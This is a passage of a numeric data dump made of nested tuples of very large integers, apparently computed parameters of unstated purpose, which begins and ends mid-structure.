193876065449457167112667522956282452732868050072103890434192425031708260870, 5784105670714933627262982567840364202892432836814621098519719079185367722117353 443708411723488064955344722796668255674612380046192732339033439154632336487, 4931568514470665340665541591028074347308631614709742255488502685267285162119595 65456846887424688754343790280622791668622799736277418120496903287737912689, 7544178362746334336966454216111362576120286632227275987886742778800647452287370 440266886332870810893125092368924031268211093284691744817479131102102243770), 7754563566805790193297930068337623042670840012371464610293707526461232444218082 302214599843729192942955543513760205106414683407514159266480822721173887463), ((13490270999046358340789393043530123955978516149840607524088410985428535396195 72829479114731722836021414044916200311070906619162362647623149744840723563928, 6233142272875680836845005452186007174416707041142248287077696320841062778393874 498621908296180645159365287788680559939860464285412377186921846812849005373, 2065336775771426376990781983490328756999690203818191830259399245442849534347318 698436694493374139768696883342417588420925953124153056970968218996490715372, 4214900861059846461799842503002254107412989395751841420420171181951099053165247 985540712806103994886307620372979866838169840321286610914490518324443303412, 7539680742007098232112374118994595700212257939785777527417487771688851492704071 894414792950405308605713057212928250437070454854828703561087711888414860608, 8266006414671596556050549438695699646523529500040817750918948176110437641332884 362120494391084292305189502377496973373029313803053768873434976276743723159, 8266243948155959449591435329934707831260844905409939687919879918755895031507071 720709400139686101239234486847054843750401974635311312199977460605080015510, 1234743099310614524424034192816848928632447201932977771237762864800444573776807 406290398978016382776573253341195805390141262618815262171382868194703361613, 8192805474602567870106093314630248765246860664066485931438095504941597192097616 656202901146991176293033901981851195850595742802435445191921917995176888157, 5265290331157194116030860978569075524954350384224872510458678632245456377068104 550734689121661155911138878149865679499464458507658966648309275219224848596, 5882900407390372874071953114774661718871218093246541860598583918108495460764966 671451658150727181904579743695159446417122466775774728947902874560562850004, 7955771388630886598542410842267172755923030250380555929142457501669663298157433 742493522133144315670804168290103761327210831203416937495663680208693271031, 2991892899975626772696605093231668353616473155712559944357362818427093606383779 572306969403415579337875022165918868835318820201625864205476536887519095026, 7452103527177145419467620306775975759796045500735579241391613835780125724356206 21632218594736002659189196452530854160078591669504121146047534498060345014, 8368337700311807280219406465699275643666108120484639694745092716815517059198635 797658886324304592275345840807087159899273776285342173861340224818653570876, 5522197200260832818053270720918797793441139177482203449371762530554415001648770 642456235461045208228792225038812390079648002785595676124465220743394226702, 7937750463385816379619604594451107858837938563625811511964947733974488954046744 820379974277550652446043644605504699570991368062646150659044673668562033766, 1844900562628025498664678232656483835180187024937106260606926594684160106409858 566460021846202236993043446205184313420972169175902794527517363241309141473, 6430352461869116732579445102578942339259284506961449210611325051493917288848863 875600291776132649887930477620038865590840266463103579924670594013815944977, 5993937937270735371914157279628572280855516039846005543184246106679962652332313 483523943963626223800962561697012813999960433786100334125157562461970818382, 8207683830488671407467486766990371357568373849309542778918397049265078297687046 616593198328530004927529205094650976939936343390835226774638553172053590690, 7368388595391191527582643638247133763875926127910633420393963960224987548793721 805110212709484391991516359119931405915561526309421948152304429690425154608, 3553868597626837508362056243346572255798583316038737984974667681366828412304172 845580891271691740368960624153538640051182822755789372642044433660120272965, 2297386707503686208944401116743943376464040715181004656131005968402316356801798 028693437619539763189279603484260845965152914328858506131778522693949125553, 5582898855854828288058692524288667020354651963088308133551790557091257704038340 01339236839778746266679128498712815384054341958014660818742435367944921346, 6422042774580807599214218419947472090687244615089716038473693070497988379337751 8241574535216838342467690926675648728922417239712312890502577447029565648, 1951864693517046627362729828853019714241669068835966243351250376555529644586866 551396311766500289381434577330438596547055016718156698731068760338681389826, 3751910176764708690825462555996209771800645482880379911547779296696002911846745 826394787748680986558024969703025487574000445430867839610006183813529521581, 7816997520292866869709735763787088113672433815577207099757421827994777637336363 970463064669522613463807809627716311413331185826630579260700574806695830364, 4616482104289075555473853402743866694582281495819047306219165525614032655490368 3580149843121636939779249944905343089011680868162423791064911411437797666, 4016994905276692506455512950183660280825003612681863614010116521746434970109500 235296974685080132135964128344291717306310222823710809435003159562275307162, 6431724541555246986376881858133874334554436723481750063633766952650155860016886 875239146803518672423771667242790957840806862537119910274343465218944549272), 6477943075072379886428072307766390112331343578266048563890257681663323680602632 982188343053491953501691224995773325470160549568519762399491694285575767908), ((73389563893833243451679372165999216942533313923139063321918248279665585005600 05470282763295568359013039073872334787906270505300450945587114749104245662028, 2586351602062460457466216054212518877433743235531460649934764965762262859809543 865448212931191451425386126852716658623518029334412084922969953304267956433, 3930953093791627740432621360039045212604165423302215741411871638427529780339255 093111718390338847436762464065545963406434322272990857573994730011082014945, 1776599544237583859698895851635991083237365364915939477424093811063567551763319 477688281011885125977842998863732511382597607855516663147381975407963666262, 2519008691748632873929336381501981765742680836782229336258133513498857828063797 541002100862211965659169253733693320063760995179487378944952442457256224860, 7189116746878452474859623315091902448808129236108691148129010919429075536103148 053103510812789764510615862687640449499594224445378445213391992824879050138, 4471510484131669445777434195935337978654375607895150547834767518651584823142449 30900150618641723343569173173144172370240377504299536500296896747246579272, 6587601495632493548263034658073765666146976628628816459524576977064089231557635 28413869168194477325156194690865509308219508525687624920211358167348521458, 7329327544565709917869022476341684210133745770425774682762670225533038684306009 626159703494490257239832226847354656697760089115258181202319820246226644233, 1541483311009785937028806932408812655843521209721597387850186297289143968853626 093600101749380004228044116354525805115739790558114701622542787904234147577, 3216031262139023753751399234472338578779445712551440309189434955969528073109910 926358733983584735756900847947757775963000975365257299490939486660847874762, 4723230641815301497838295798654776425767679263787442129666520277500327603798877 053382141502651522616546289034620824007195824017010901556060827114667874143, 3913722748833990643262366348353142269131808528096161534723273766827384260225435 103311958794921695971768278247679219619377433021692848132145400239248337891, 8243522678731393881344427692705291556113555831900934100685955822304056661368284 539466926943119286370486093774458764026959067122130675051244036423266217696, 4284945960285691207160544432102318727072660841646389731166786785920469345299413 414534925541383829498885739615245257888794442071650823425207788484989989488, 4833705416307131334475110612204104850399876784570967791149610173148805903207144 928631914404812723265185059858397417713908376900436943639397660832265828100, 5621366609374294994342581292519751206259913990117187559819426458665953325412528 322023719631400185282079486208824620369881923121675941886784218647562281348, 7277267646861935483208122334125320029447344876936952445721577505646432950913594 043096030260302948009425144861346916389348554887005990849256290930412040628, 4289562127931903735250859073955540544415572234592913885178199000275133304693796 319451040906556606174939609475158001116735777277982487723657585249944799948, 4647107648271099315429802564199300206159970805617103360677963688840928994969157 435579882055445594542236889793321509684370855411429054367947131586370418186, 5811009386860619766543829593148444480596923473321845808381830401965937523617430 109237744368145326391181408520896248964619290877161787020412289330941573283, 1674496653270847011172674821961319724816131262618150172122479541015256650654801 742408171383782982660397522134148658817958159965555413067250043628748195138, 2866227352206529750377421532832957800342506300244949668194088619317156959874868 193764433316011785090494903595497156745016881013539763369680428851981970900, 4657252617683656916728663759228495067074227575191330180627717817793020587077389 704000997069602364026872881784395519375862067091066461351156588533704040119, 5426245094197320908405121371439412797982715304046051843211750712662344456552434 579132382004034482321825349492349378161867084994718992536959002268472515289, 2737626915505212807569576066889650479491918303150218370590497231992587460346612 545975077166296513934368917022249264809122661049901674940518660320280232768, 6972619704755866983939752606505801561549167988762761627868245872726526359849077 693319366699311116175996836242811162153363546577040966216412007033323068147, 1686288079726496283642764728191422960117353723249241993194143102827732226364289 168448973638093703304219725345698242216723348317221860466838447326266387098, 5268264354802630125674195116681691102511375413588382530957052396354028816169209 962355877877298987232135328313161162817889562201577452441986639530372766510, 6852948324345678589453903723893554686112937554300961382536596763465380938365769 613106957080652780076639854879194189162963440023628601121492424125246161903, 8613087155944530909816411594696569850775676982517608309204036151882077989043733 70842374906630659701495666491058338961728622499494318831778299669649619292, 3318104132590957344947213330750941358869395893433625625904381135808327274540012 905993459018857829192654219052422603059055421231602934644717448061723320819), 8597608984005202225961760910223024356450497460471763451549626449691617151312981 074091216562530506308238180497126975550467512644332109437840480107749164108), ((64585891153986720647134331022291239193205158415280133926439755260680182825129 40489574905511053903319969448576694815606475047101484827296987554355764509218, 8576285054821847086555929781788486016126822316437709667474843538643167343338509 304953716147799733373292416352071886016173509708769119517550205900227693375, 2474525220901471620839175989570243335269335971713760573850984366329928323907922 778582576948483180855356616023434332941227628138197708413719013416289063338, 7473814278412979535775998063951981447939189086523986704868175403725230952523560 196818507204667153744431548031649544737919044484882707006888099904344917032, 4959248090938555383776624014715685181717074059694923219172311723382912165677002 568293087350402473492024810176150639741372279192778253656465189841774847632, 5944624593697896079201745027077203972821005856632020026168939853386842814294523 118512766323772969158112668340984626576971096420467510634816361689600774958, 6480849025643700086894730269871131979398729070947414076235779080201308413284105 235132101085817962332006049409290986866175508351505586946127039360774222172, 6450506227262542211644268845132090368726888424565323021840264356558360559121855 181016693139483707316704232234941978036244600102939848843770491496610899900, 3158569969917047253313285386764144578123185017731016353938398010804872813734999 429208488368994243785829991899153900669427558644679452858803641092528563454, 1334226496379222340011719949515240326778977898085998600198618324111217204684574 314337310468402160154426920588878015540538013788141644674620694113136077380, 6700120363711987381027842442887395384124577695150831784791480865576916811812184 955385485756540797371948652260091340956542355421582129254234792221837158784, 1999102977683140659504904229887055875140614533216652771458014414479364290695943 515211619857049135403941275925685920615141342109834465905813616525051152845, 8382365273893372088350800826662600408931349583634325007961011348159076919060144 145291755536634977969578025981584051281330289340080781376648838158602859364, 5651629798921434341727231884649614828410886991822673885192224213295544716004652 223419435076117690000659902373526175733213182554313858282641755791311062049, 2335694089389862820443357253009253963579167829115538921321072820043079084616239 849375300517350299044218780894038581101255230407155059743082154590527803948, 1378222653689298178904036377895577411850670805242352125637014733448948292984040 022080443432539447933890032574450639129596248198027023060397029674412196865, 6312031687016526479376047670373670093006558780837677483338740818796956273612651 173600556187417638618435063389163883265334915204913040673070478439055766284, 5817349910591563523343079008075387344843390481085290759360233648308429092675234 710857337894312872271714851617987002144102361096347317032477301439505819254, 4305723718052082023751191976481756982144398400921285916261437670891436244438809 787386263680546135924037788120881484820731134261046172937308304686892487078, 3933984879968792224715276677958104713325590151731149610280644803598978831156791 249253544181671872306080070296759023049508179727517057706295000122439704655, 3505183810356497531481765939279713269026060191567528072627596531842794842321733 190066129148573750747404504391390524717805391140030949027758743322271637525, 6011952919350250563701349251703943627809159849841166246406633705169578266190975 979197218767815706534043062433197047013386318664548754828812195272249379687, 7457687891165031037030594985332481537919752605715751656249038457528682105823594 818737388498720956438246275174094886774458641101508135981177896856247233917, 2399186129267998780993224165314685869370288783480782850741408284038002788323896 014903268673463030088264826855544524932950068728741934244161221495077145215, 3867713886773074448536354473965605993073601893496334633986260870365660649171931 346402993140252218834671145537894192453146333478341111529907659829712036737, 6000968315963447524105665118055551104857886431169964666962329208252075894614049 724055844320747050558945863202525707047540633032136733713504025802961222670, 8640629446421939379700591478776743377888514140331637250449957186570245540114889 351474575378895643209387968774965249280672010915014851529457495210716484431, 2995798669652590554238412808115456207512725425038844494812954360041460947943076 324586891358560074780829595040436032052499677812255594635429210392127737955, 7806086941194393468159313053261152659779604645566982146769172773698487279457328 729554981713206432775029054411917257388870402258968028631806594700655929758, 7783809960383508700588046915940771902507489087179923540612186062938410820405000 835614775312134105041525564227898639990621631687920520915407277640965082567, 2544860761197041461358774281461053747784237908525246884632675861480452813508944 919565384479314020808789230772538641318867457429037909656587684951172066983, 3087282182837552511919490860655180356799164378527192809591103074813961149307768 983238669355791810081809185183004675879079236678221310723945016926100607725), 1983673614304628892705005292977034350514716585287007346311793850125324629830408 147076175111536126003822604380134241256822469350612158122144251072702121341), ((14230674703000697932481100153533761866340826615700893118480663543745308658739 86268649089482263899771044268882193263142699833852548809917218085495349774258, 2919994667967653850889566012136187973257692495988164583380316897643815944141136 317063212667163004884624273076536728906382404057909687859974270607654463411, 3319324190874199048835278240273904298291270090941354187448975468845053334280120 036941839745628749616482792538272719544610330446174419186790260885055156700, 2027066707946450966562776450391455654833981950340222077092744148167288572339910 699200184133861668773038894487822384288708398400937587059886461944849791303, 3682175891746534345988223557403767698549331149564067039247903613710020567161967 270654069503383240855617854330387631545110038195191518195890997377141524081, 8726921288411081772437067366944521773842313780854181537617668648475031240376887 214274940547805858639931560324717510459791550958547876394039409564004080865, 8485141024962916007955902015202031690507911785520172098582086871200750630049749 187409080453123952233777807805529160065893713687661318465807213646533762345, 3103932313430666613195963118981559389251971228030084463397413148444046258876960 99211970921046449137577220406346991852158075962881099962825903516139787694, 1681140200444986495571094801766688449349712307031284934860120239099928629627932 95220847135258938938093510764561289686401704037554359219386262385155355469, 5471909983163590804470423566379203374873942679185308729293234522927103664136139 878897889656639506295362191705042470195580183314251558954133790220967409316, 2747129968401541920735637853339474340402480038539454816559030714682498161002185 726577658983617041530927261492432106791809682385243353849360920299022540381, 6753221675607547502053529404337128795107068882587115692125830198692870114195199 620557504717563557848978286152360384975645270474598712070730257147218812873, 3261419185700904103533642124767461956757888572840310927676696730381987339023541 4132841579761135457656414409009822626477652700329068801404671422025656670, 2448804086852432848802307298337937859175351337671320506961668328505820748683626 100373199390791201135401552320395938605347689456823694467623783113279203807, 5790482135578236021739063160354609541416733910354183505976217155815942082502063 973054904606234732753106175895918845976430838348259341188416747558960006988, 7714452613596937867112951645384498492378943629977382296694375215009634387509305 820763542159085252415352204728293058630547151237067034346444885308772128478, 7825564673400782349818110382592599499963691088641999516919978370865267521110347 355221194972332154197460424154993906799557921149672220084110976989524709330, 8154399669172556220250831790227905340861204667369492608050968649982931385236348 09535985622191935803848981092203810756900465968468999345037184627850121181, 5258777173370887012863170855862402679749756237487355002806264132276039412349210 639781850001944153330158006212547936210953972413417786315092189333943053772, 3429093739891289631152279805083814412487676787852634949528316257786505792178418 27641427070917486930431005444555658696610958824441611226833225041789836226, 2833019718615618948270042155338371082415655257782699009808468303360655025025317 81908295937763376163026596431360410629810120667440041592927886101568630562, 8707015829023739265902673086692877145244440302493816572329951737706274435785585 588830639855638371841334878546296479326457693441501290009839899531817856524, 6530554073868339539302908181783767224426793341928386798567970978821685465024750 480927493966111600115461315475725425724301541607748563984226372857862618148, 5824154474673692304988754004388356372108272488735743791953042398612977696084738 140998589973167482499350682185453001490157834415306373921856662566429707247, 8647304467358037023343295540943062750751625984341649449750131952754268117859671 014029502431222981484119467990778443120676986195814733457459644870901034811, 8588830807974281644436451461632948804252330035410302625648109973344359255183639 570998618571136733200793570267064681749941980882890230524967371383236594603, 2970111020538551750691313627060209788939588327907057466585520154640247539612326 536453358123401750961172612896842542443595049214990772093571014337455859899, 8471970467525857120021486969210092911196659141096997654182693178740551537563850 047479623457060712826626057720947228993685523900873086509496000123935458391, 5769841556099758437192123447488612603979802567146367595858175044326547376761999 750127030807896160385271901403231017550998088960253079467744779549984731941, 3973895755700263730641551406328645611064866912377535811758227440689851519565155 191141417253760817254144276783400623913579332332072660458633000772692704138, 4029167623691107991376875852496121786408816296722248890871958116950593453955747 071543712041050693139155618663353881351189806062365945088287450977240458686, 2402770618367037855826357996844182955689429163813554829280641802653150776726924 51476348370757501053008628720616036023564603675262899228591340455426763313), 1693812280791890833737189592508949280753706114135652047313708233048958552058556 795408657727054128479646434473242603632109293688192459219450813458982743942), ((50666776777886457112026956952184719935745109211155399614238366315551448468860 1122539816597642439179091036558517639685438106940999960306188129305462223007, 2975124059450535263375272016683643287806736577070078040280826393014190258935994 472940528560014831100929276837807097742177081394229734558531725566662285792, 3456969269039370760411592259741994348277132693914818586212064264363118692671193 010265206953255286195357773590817841019568897397597449096601336518604764757, 5148313737898277061472342044380663669595351952133640025127354696871635641100560 100300035340524086903507667576031189884212904155122755828907888536159768934, 6987885802749564433377774565343687269955034204738073211691254075848396552766551 946486287487834844387527067837348797316347762988484978555725347517191767757, 5052008229679446314875061263817625717414413315759339379683540729506050663870308 737952774601141520813617286311596957053939130170631185428577272115559106445, 2980131615339798035594068636382737060601529455954493345649310872974279588328953 552646313529948648178360807910483539290446287704486500786778753274991429150, 8705306088118844571451249005201200022633843455096421079129008159712042947404263 021666090689323748115003910207826180851003044756762047746640892424582774884, 6575470839853021917314135861217272779519020181190590119207420480387289035593565 224402349801517807678854507342002769307330646843075214239114738395250100783, 4375654618059505832022797605355169363484410678081800908102403324293688658808714 586300926505398337955535737848305307779460205478626861966188533716195825675, 7001145664210000797771226985845536618055751105091087902406113881736531642503701 219066975411758247806507528114726229001808692750493594875346356541063673986, 6036921640984777259357564730039971796324763954980061640936115753582230777841782 933538597434663116526465525882236670404420067824997905144448446530582181278, 7023476366661125589359416433279144901736167945845388229976707011263827484353184 528015814940607266307769227830559140779646536912728023434591601148106370144, 3101705769363762403422909992381181955201647443678640079537911299506122465991310 089115035857008461263969033883840694467794397225525615764371073933557856701, 1645382586930160676800510275840689602590198676140834822900619715824731649053360 751198357967863004310855024699585912795973290226322472081381828216350039243, 5482074771330501312136823135872495141142148368262015088750201295915496181340822 808122456074582827814943803305120051507361771061379022432192262744035446347, 3031245148442102335536719895108836229439395400802060231554305317280909928624797 473823557756714092102421437461086616414532861942829584160929812883516769203, 8586621422349351261082527559541812692806774120885822287860500587110913070934048 334088527614335055842065398584631210906173893803768752200629976289221348036, 1440717409801463995087520711651469606670741760961866570349303823364159289403075 940170807917852639214301856422817872306275441497578966694804451124074420239, 1506427493075708825185894723154020024511061982718803550241172488317539338708562 82935918690598916757069919523599361795484670976348930299258252759253723844, 5484312608979267780389220104550546024165447156051912992531851300203831177563049 8756505513826844345855314084358468614686595904471476165107167927843692512, 6489415869263812870067484714062196427825383246354518143815005313130302909016941 418276461172061362373208985722479642775944509723535627326773265409067293989, 6304262201352390832575175244921928044737374422824586264496304038874229264189121 017850543836440731216813197354496060117152662585919934285959764709710405498, 2116793104870120880816292517060966148819437928850474747458907053697982075832843 264488784410976563923795608788081918712779444430954595078160446782676471897, 6087116028616786272357306660559265478952413484094640242383263982728344582685069 613478851083227733063604423966211425730842969088315278282003333629195237205, 3307551822904606294649715258409222862754297958261626525867281133794369527011129 123887430581187995975577997042490298797281234122277999230313736172603572751, 3860176178719661706281632370964582980187760270772621995204895545498295548965573 421246844521231357336750714339212952015552833074878031842719557559748511416, 6457830938923701947726181124792571455104911659380708123003018724003491383047595 67874803400740023696711588372120919187953729358843925828440527964027651732, 4473223137260141976889553406208000883761287087967133603509780248954923202552864 851367936971846817680974709677445165758254326887401347656646867306259050845, 1893838632521722357314741291938410180813345398418887039944191017391522311110392 096511780821643289291878287859795377497452355447587531842739350672847939917, 3424831308805538163291867880906970414397959168602242227190375785115245371533871 728673347317871159463337658289478821130989172143031440634910826763254813333, 8180900173557199501360142913044312131790788548503936090361470976954415537020497 150048564956890700434022639125106161027484125902403243322923569492611709323), 5190698713747636345145384915048459931665098487772067250241151538827089080992452 44098090020214517063911983952802313581487356174195834581961759665785364003), ((65915947877119944332249645281755349004874496584178094441806194046597173972291 35608881071913813886310164632488399257428119385131777963998563225179835474292, 3188433208524787959433882423729725255931727332475737732227811546143851230211594 397356343240019917217299727976830302515228013709608319621839827298575616134, 8816875146262324199707022763559331701117471956295180021874086298581355191096459 357338652557821562401489081382588277471470560237485210075172855523351704326, 1479764878826588035611563880216955798709534881801365334814639012505225947930630 883699349666356305419064553735940968069109391863876709835664674204972127040, 6157279636363987152238800949424489219993916609590855079749190302797524316962923 503141136099686660736652394624364914346062927449893496009486432440668160106, 8011065631646805902587302223652200138551874559407203166088864562196483033598626 71668899123201054769993810267147137677627756042398952728172814214255389741, 6972048938932325549170966964983203727248117740213910048895396938796838437299966 405499415661647984838551104448539531352768633335888013575931912710440720219, 4405942339792460878396261503908820369547474103900077936888839653653528181096884 287165913349148008295989869497471820756470816743683326930566970634892541284, 6756695414125562775470769738055157837959484134893167656971315418261655102753209 905087930265250007126754502461326116989647338526113456999697504593723847524, 2855751710532641836142667898598377331542222376358056081865627029613116276586890 939431335473149608650663314512432333612268080650855554308271707193112771979, 3116899033081946965185374515068053286018355574383354178082410212293016670518460 926240601959337088571385812683464691108663973069101249214882770118665257180, 5343399229594985195230695430972771285066975521306695062223497862886367387855119 104501583362000436699407552691404092358023389194654682828681762598055784592, 2313838774936576080604721635844914199262514663640700839270741788371390121798951 122586353698733327819011851149426121055733188472234634982314249016812504610, 1654712927605887760870420215906298101695372992508714244576147110824103283152327 217355783153531238272682863017559891010812988579642216803479703476554450509, 2413762816709734642170143602815858976505874137862743404395767804577018310755420 745082703637793566761759968819631072997197424372352462017396934388985668391, 5974019505682435449087487884285531386993109591555531832712508342635464742822627 246482869150202011482081851082270663670570960368409551478250842425692286182, 5754707315955088438029952472929309834414399578736486411662032060626732666651284 296891747086143059993055964476389533911137604836208356797362242325015761283, 2024513325042559987939732714059767027284951477097677292514773167487367585677923 058855677255316679926794388070111950014270843329037610663547933248056153340, 2394920677724685190231509930846446832257143151773584992217315092742661493759271 538232308555449806215569152742342089861010087912646559259176766291886030837, 5066019476842478141567984659428574904673407360935624849288721997044616328946095 479621423168065317088259731132907486327795083747171599789831014378196198822, 6122643793473809737749556556501396539488125897707767176785070280448280382274274 385534472981035050358531187049955414317305527789213118735588314921876872000, 7978015718325003613269313287786346076327245646028872337970479081843317731884230 528717077437729038037569666753444520102205607259859502039356794780659010476, 3518492412902008998443440238014570719503084728790019602307691345438446765850582 63795470378366907033743549026847857936172472915475380326183820531066520122, 6772874882945106182260332654385641193501810996627511886507385704140791431647795 433598751600040547905445442740105494965935442605620401155889852967536369220, 3450685924916179473393642885433623726629015589969820064188465881518561391770273 746878970223731978370693217568040054546918505090904919506147237209371588897, 5659794980975338234390405500679629951319313703015469595022082140525280206737491 064218834723742486329584909733825420503533247994544397946919210070721310141, 2448149793774999276852127728991897181012037248466237081705133216961448557339279 437692695187820644619252064016822451532539478373164903055502143193445300832, 8583270558635501426017109732714651723164132510090191614532301117790899329349470 767147797555736302175932569730192805814409798941441348882646042591199303282, 2020671449860490836920024801438584808054060378769714381645938123563251197806790 248478563363952176056922055470548977210622175362324469258894129996311988492, 4421339528647895429186641847380921256850828056743660598809755029545728338422619 756820403054097174409134377092521543863575797777044515123220686953360182868, 2128068820985471884254109894968138216706555447948746398698045360091507940325155 596702946320779892552112708581219299851597800473221422979558967232867281655, 1569538639909810991791801292552626607669106026567143899847067966576252584402346 43107874940331084303551599383027794741766777768358762700149947454280275338), 6512641586503741090925664969582501076405532862670927579756598847726990077377629 366490801518418005563185915904137493334033593604447180003334551669697438431), ((59102755233827286284508515240080255681768896584032491992888764164194622578455 61485973723426677946366068032574355117940813598212867783138533228721698145175, 3178769361399755549244207483002287941298109440441312371665510775542495824172105 026111281165240801232454593457067005661075480176043907467767112359653821436, 8530295854893146921456282953725439986755486330500524032748338147737445283767411 371623732814034737982489537248045553376691147655339965810390610156936289728, 3331185574128243051727247457820673054008467970912380665597906240018507314831839 109072438419849442308486220640280765206684601957682837321545910672086793197, 5649227218446497153445452890585066425624382380116719818442169990179059026333842 56549172661645676194114668770333238456853182654501910255696888096546398948, 8599723919721218598050498370399345138250717777025300393311266622064435321139530 349415251188075365076347290609200073647851719372320744217126165846024179779, 1316003313598497592028007976738501602568614037573869436670911309461449802316243 336065672376637172979148386509681336196740456242189214756191952603187719316, 8904839317815783898455674684569803533411889708392043064593735829864935614497529 251089684955932815504661461611234488404796685940941001067011622256158856269, 1019471378790001691767651369875698231678563249718461304274590323725716339603234 882427570001525793125278654713330572513132342376855741557487492633972642118, 1393121321311772598735717238586298979700473534496621226584233197282017837844382 878175001042724157532147376846240289115776693953957732733857767319527456746, 3214257425817636565662494396248925122458076649302078021403285229283445019414283 922994155227660430905403237575066912165909597092811545158159462279233310225, 3180672292600988375100095565331704739951660681793332885531815207403144368119780 863954718030597103424455400397904266930457393920852143847055880055751409667, 5007321783287201101759680261066797652616733618393100874986037692364587299649434 945912460918290195498483700509718986514289124127021692548514897044821731549, 6296418476386051955563551515656296267921556582402361740919447880006333244909789 212973184590196053784679775128758096634891938200002251379450134105529059430, 4919610054794444411521976016318751176068915643054725062887581042001068970705724 144863734891001219580109542773230911868811155295395151978451074523760520560, 2862848632241259428532190456639406479520356087141994713823408685728187343942832 225956721497103099319326647201052604646254943122243667747127948271847449282, 2358599856843944365596899923725284819945643209536520245216910922553154908566975 90361185488526547549827768126270210919306368616588444735964700187797801898, 7487185388888163425690632046850840800651008468354751367823905705509436463968159 293895507373160967163525425428685305210710310055819685623438175811543906119, 5190567868686794092819957829987518932911065621987890710673135344881839222488931 415966163524120899540579200359387200329408380043173132215656085447328086986, 3891312998741531444103666113563406841094985125303243226891943724769583672701299 5146431097473630390147675162164586060704158456331348725547736883000306396, 4422082001575922345460486817202042803487684046376188594389648061383479987720566 192140153550415665762300547492313014548834806864597053327307710405173563630, 5768480933686739965247521982967663079077870052657634711960081729695220514337506 64153551117944987463652045436946421037292154435974859209271364488595661069, 8170993020297537366704289098453912211817429692598605493174222071316883625049936 888084804294354987254015263998393756026991626619213261329082828555367752325, 1666160340192985557015361058999286332686302903561501023005075577795914854230572 047165296761109922991827336779634071376372013810287510495135769150483531785, 5397581561144090901124104677140398993467406101331639919202768373950331808587103 137991203765496514545484057009931698679191460178099246570035490303779810256, 1110426064901537912473325473226910757045348925519276989357621609836416481612596 417501276121952850958089741473815572391655514755015851035448866061499690084, 6521182263910342822842909941749689121770504693949824957117010750460282924917734 639924691429754076538181520095390882431008410209684840110781751290180678414, 2132872577782978987076609668162648313613476699952200715445566895739829306775930 537099218214839419305633313203054491955462263825512997740271390973830656946, 5012606466174768723127632033751900860193812936969728409516721839628563600262176 934766501167042109028224470289019970171010541431947595326911243373468869966, 3703792941402079952068748335824031036234095812681077521397442186202728602247949 356922636016694619305309726538524237566289187910662355301857359573068618707, 3987742095629612340081137093458172867362509311711987048300631656965809831964600 285238048136275756377697739811207697465417328687152018726636262249637020162, 5301000148585335104235461375118879569081784350810857813160451330681765173899966 662368489210720409851755615114507282875541282296190436438079474074017044732), 7563149321087599238531880315013817421985308270201499879281679729906706037176244 118029022789217642462002660987598760183107145037622546814265156305455845737), ((53792371576264739127878680785300926917720922012631542684514353201571628092925 63708767213266620205943556977971859380526151842162341468178839376762473248801, 7422972549405202779304631056170872340364082766894856446808638627539066652562906 962704025924555416772527873585234460391095931389977775689348957678323289434, 6521426841109141410129688578043211479230587727092061169974939594916886888964528 821635493301172489318581590398099342014045956745851245721437731342310857462, 4379673814092862157148368616123236377841586453130553994817957379299728350655898 112611872183599187441407675869295534407620103945632636519897274723619797765, 9359272569928846940139891331605817367224274180547798981035738158506237881808369 7143600256596831354463495473075037463817735651323335135826769285247398026, 4565872920829899441386365489570680256402330954241277023231072546634869852140933 591900877909806685618152417588596236595661655436395654976367975654591070704, 2276590065310876686248853043118369933724781859996027443535546865061664177552429 837383612058469221975488425439386873146224469637232639643076966243599554197, 7053742512027619134151139681116036317269558982665530884560925959662265258959208 47585114584810274101235769735099106019469420016835581232664363303563080186, 4958693514986821700844751303647812415999519425404778286478969351865478265647719 366174388165954266607014550535432906115183478376404149241724709076557775956, 3489641330777820477286632432982543310401399062444305889438193947607165576855872 902126093458733961806261141766382949494456127350378754104700664841406929101, 6674864651212566329544967030253310669035451161747640919216674885432210696693845 681848444993219968108170694344425375716127520630175821086283277672522645199, 5004866971040027524212354049813972175042198370918448232712621528763307784294918 063955531640276120109089109491519193060724166197150855482018356118268901384, 3711214773879062477560054860403966297633891117447126484783929254794475612597093 20297720118429817605032130228845585225727774821534812186092473140539951474, 3862989831073681152282626584018133279646900127375393295888050117929275563746754 004979018741492738848238150267849827944250203834903816611902616823694156956, 7113029185107329010735670064391810420470247237365369595290441818338256923406718 208484684018271486768138973239790945984213923670821794781565850685376441138, 7603824654262704425796780612388307830648105328560054412285475071623270794274483 770454910834591245126802353170225482778142234812169832323507818813644845511, 6060416347513083313839835275250522230892505533318419550850251909480692188873852 534323308108513171315862408434148207743596756023574446699485710358896300872, 1014952309744379921666002208663967710537536483235018839489676296980278667083442 755693382727250676718664636236338202979199970458246978466850970678433233415, 3536479557204761168129600719743453961721292909277002270059440246332805891129477 217479301588672475289690025490446131746082946119088918838508352731477878385, 4536517197574802343922267521360532104340874284824988765106937768555314281877047 783355137769330785194884057464939144136550634436183440363395120555540086165, 2037816477544215317026615211676293233967405208748606287584434298335612566533608 724393185964798011964518068953772044599228223829765542578531649753139080478, 4166402244885852939030813592253352364691611321447345124101111427577568198901544 371484556206233604919402026454852309964556778872946011674485588773720256544, 6476581630017474051517880615707539031793574485033317620422586144876647535376097 41305309867280736752508936624464994395799673428350628060888762576454732304, 1665280341003159931644491165857599321736185586431977441956238931338433583127630 299871390869515298412466912451425039880754870477193316004752539033542865379, 3728452401605569880074861135560091511547296159472373058395028820886575338094151 323131168491960790988232208962094333617386865646805350365410581797107016309, 8453706870059537440245774771820961647879248499023775574741011559295802836967813 856915345308662023297587960770903349259101968873322966342085843175370009005, 9133441308793072456658707053020983067424647729488927562714052453649147014787037 83176692785347495573507202511383052367179119914825052620684836315172693306, 6288303813407935997506674787127648792221977603286761782132906948864591584422194 446193125653177050133871767963180531699771182017544608777294453558773728681, 6512772476801458747923009919714691156857044799435628603405545469020521948617148 793095673714668771851086847357559607694689507756955410926973478864058503748, 7632078076253002992317123120010339970786378266407990229793474524771799982202271 883874206228485358254574895886847495095734723292803719919041365824780730710, 5673901753769259303758784335813643168947058479520726415876330832041920470504117 81331442016414032352436360773186498987761303722561722516580133829674854390, 6613923585275309061123515947993361952441959547491634523389363993021954668750334 931876079715352579946095630260036280749269647066399886446291377443064742105), 7301958758797114556001364775052101666319495631825146784703688800907995633908850 574417930723441893667191322249679972063239956776316765726901222690795228882), ((34586802103667437561198942264941345222275189895872111362914890219473768758796 2542457849322711558004716376830794214317650257162605290640800983587536260372, 2903592856163945444526631512740379669505178647759112193514107470612761188300981 697998662066191559262104265353597728746726011119179037444056774920889984229, 5657719142078802057658454919067453215135416043300022330330437723943981663677978 124228172828263378982713929730966171926653459198662189900264989369002991926, 2390142514021198351310304676935730770070386743189643978038283831390482503104375 858553406089932585408044493268344529632974136605006771966186111363893216322, 